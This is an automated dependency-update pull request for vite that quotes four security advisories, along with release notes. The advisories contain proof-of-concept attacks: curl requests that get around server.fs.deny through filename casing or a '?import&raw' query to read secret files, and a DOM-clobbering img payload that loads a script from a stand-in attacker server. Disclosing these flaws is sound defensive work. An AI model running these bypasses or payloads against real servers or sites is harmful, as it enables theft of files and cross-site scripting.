tauri-react-example
tauri-react-example copied to clipboard
Update dependency vite to v5.1.8 [SECURITY]
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| vite (source) | 5.0.6 -> 5.1.8 |
GitHub Vulnerability Alerts
CVE-2024-23331
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected]
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem - Populated
vite.config.jswith
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
curl -s http://20.12.242.81:5173/@​fs//- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT- Secrets are directly accessible using case-augmented version of filename
Proof

Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
CVE-2024-31207
Summary
Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.
Impact
Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
Details
server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.
Reproduction
Set fs.deny to ['**/.git/**'] and then curl for /.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc). - with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC
Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Release Notes
vitejs/vite (vite)
v5.1.8
Please refer to CHANGELOG.md for details.
v5.1.7
Please refer to CHANGELOG.md for details.
v5.1.6
- chore(deps): update all non-major dependencies (#β16131) (a862ecb), closes #β16131
- fix: check for publicDir before checking if it is a parent directory (#β16046) (b6fb323), closes #β16046
- fix: escape single quote when relative base is used (#β16060) (8f74ce4), closes #β16060
- fix: handle function property extension in namespace import (#β16113) (f699194), closes #β16113
- fix: server middleware mode resolve (#β16122) (8403546), closes #β16122
- fix(esbuild): update tsconfck to fix bug that could cause a deadlock (#β16124) (fd9de04), closes #β16124
- fix(worker): hide "The emitted file overwrites" warning if the content is same (#β16094) (60dfa9e), closes #β16094
- fix(worker): throw error when circular worker import is detected and support self referencing worker (eef9da1), closes #β16103
- style(utils): remove null check (#β16112) (0d2df52), closes #β16112
- refactor(runtime): share more code between runtime and main bundle (#β16063) (93be84e), closes #β16063
v5.1.5
- fix:
__vite__mapDepscode injection (#β15732) (aff54e1), closes #β15732 - fix: analysing build chunk without dependencies (#β15469) (bd52283), closes #β15469
- fix: import with query with imports field (#β16085) (ab823ab), closes #β16085
- fix: normalize literal-only entry pattern (#β16010) (1dccc37), closes #β16010
- fix: optimizeDeps.entries with literal-only pattern(s) (#β15853) (49300b3), closes #β15853
- fix: output correct error for empty import specifier (#β16055) (a9112eb), closes #β16055
- fix: upgrade esbuild to 0.20.x (#β16062) (899d9b1), closes #β16062
- fix(runtime): runtime HMR affects only imported files (#β15898) (57463fc), closes #β15898
- fix(scanner): respect
experimentalDecorators: true(#β15206) (4144781), closes #β15206 - revert: "fix: upgrade esbuild to 0.20.x" (#β16072) (11cceea), closes #β16072
- refactor: share code with vite runtime (#β15907) (b20d542), closes #β15907
- refactor(runtime): use functions from
pathe(#β16061) (aac2ef7), closes #β16061 - chore(deps): update all non-major dependencies (#β16028) (7cfe80d), closes #β16028
v5.1.4
- perf: remove unnecessary regex s modifier (#β15766) (8dc1b73), closes #β15766
- fix: fs cached checks disabled by default for yarn pnp (#β15920) (8b11fea), closes #β15920
- fix: resolve directory correctly when
fs.cachedChecks: true(#β15983) (4fe971f), closes #β15983 - fix: srcSet with optional descriptor (#β15905) (81b3bd0), closes #β15905
- fix(deps): update all non-major dependencies (#β15959) (571a3fd), closes #β15959
- fix(watch): build watch fails when outDir is empty string (#β15979) (1d263d3), closes #β15979
v5.1.3
- fix: cachedTransformMiddleware for direct css requests (#β15919) (5099028), closes #β15919
- refactor(runtime): minor tweaks (#β15904) (63a39c2), closes #β15904
- refactor(runtime): seal ES module namespace object instead of feezing (#β15914) (4172f02), closes #β15914
v5.1.2
- fix: normalize import file path info (#β15772) (306df44), closes #β15772
- fix(build): do not output build time when build fails (#β15711) (added3e), closes #β15711
- fix(runtime): pass path instead of fileURL to
isFilePathESM(#β15908) (7b15607), closes #β15908 - fix(worker): support UTF-8 encoding in inline workers (fixes #β12117) (#β15866) (570e0f1), closes #β12117 #β15866
- chore: update license file (#β15885) (d9adf18), closes #β15885
- chore(deps): update all non-major dependencies (#β15874) (d16ce5d), closes #β15874
- chore(deps): update dependency dotenv-expand to v11 (#β15875) (642d528), closes #β15875
v5.1.1
- fix: empty CSS file was output when only .css?url is used (#β15846) (b2873ac), closes #β15846
- fix: skip not only .js but also .mjs manifest entries (#β15841) (3d860e7), closes #β15841
- chore: post 5.1 release edits (#β15840) (9da6502), closes #β15840
v5.1.0
- chore: revert #β15746 (#β15839) (ed875f8), closes #β15746 #β15839
- fix: pass
customLoggertoloadConfigFromFile(fix #β15824) (#β15831) (55a3427), closes #β15824 #β15831 - fix(deps): update all non-major dependencies (#β15803) (e0a6ef2), closes #β15803
- refactor: remove
vite build --force(#β15837) (f1a4242), closes #β15837
v5.0.13
Please refer to CHANGELOG.md for details.
v5.0.12
Please refer to CHANGELOG.md for details.
v5.0.11
- fix: don't pretransform classic script links (#β15361) (19e3c9a), closes #β15361
- fix: inject
__vite__mapDepscode before sourcemap file comment (#β15483) (d2aa096), closes #β15483 - fix(assets): avoid splitting
,inside base64 value ofsrcsetattribute (#β15422) (8de7bd2), closes #β15422 - fix(html): handle offset magic-string slice error (#β15435) (5ea9edb), closes #β15435
- chore(deps): update dependency strip-literal to v2 (#β15475) (49d21fe), closes #β15475
- chore(deps): update tj-actions/changed-files action to v41 (#β15476) (2a540ee), closes #β15476
v5.0.10
- fix: omit protocol does not require pre-transform (#β15355) (d9ae1b2), closes #β15355
- fix(build): use base64 for inline SVG if it contains both single and double quotes (#β15271) (1bbff16), closes #β15271
v5.0.9
- fix: htmlFallbackMiddleware for favicon (#β15301) (c902545), closes #β15301
- fix: more stable hash calculation for depsOptimize (#β15337) (2b39fe6), closes #β15337
- fix(scanner): catch all external files for glob imports (#β15286) (129d0d0), closes #β15286
- fix(server): avoid chokidar throttling on startup (#β15347) (56a5740), closes #β15347
- fix(worker): replace
import.metacorrectly for IIFE worker (#β15321) (08d093c), closes #β15321 - feat: log re-optimization reasons (#β15339) (b1a6c84), closes #β15339
- chore: temporary typo (#β15329) (7b71854), closes #β15329
- perf: avoid computing paths on each request (#β15318) (0506812), closes #β15318
- perf: temporary hack to avoid fs checks for /@βreact-refresh (#β15299) (b1d6211), closes #β15299
v5.0.8
- perf: cached fs utils (#β15279) (c9b61c4), closes #β15279
- fix: missing warmupRequest in transformIndexHtml (#β15303) (103820f), closes #β15303
- fix: public files map will be updated on add/unlink in windows (#β15317) (921ca41), closes #β15317
- fix(build): decode urls in CSS files (fix #β15109) (#β15246) (ea6a7a6), closes #β15109 #β15246
- fix(deps): update all non-major dependencies (#β15304) (bb07f60), closes #β15304
- fix(ssr): check esm file with normal file path (#β15307) (1597170), closes #β15307
v5.0.7
- fix: suppress terser warning if minify disabled (#β15275) (3e42611), closes #β15275
- fix: symbolic links in public dir (#β15264) (ef2a024), closes #β15264
- fix(html): skip inlining icon and manifest links (#β14958) (8ad81b4), closes #β14958
- chore: remove unneeded condition in getRealPath (#β15267) (8e4655c), closes #β15267
- perf: cache empty optimizer result (#β15245) (8409b66), closes #β15245
Configuration
π Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
π¦ Automerge: Disabled by config. Please merge this manually once you are satisfied.
β» Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
π Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.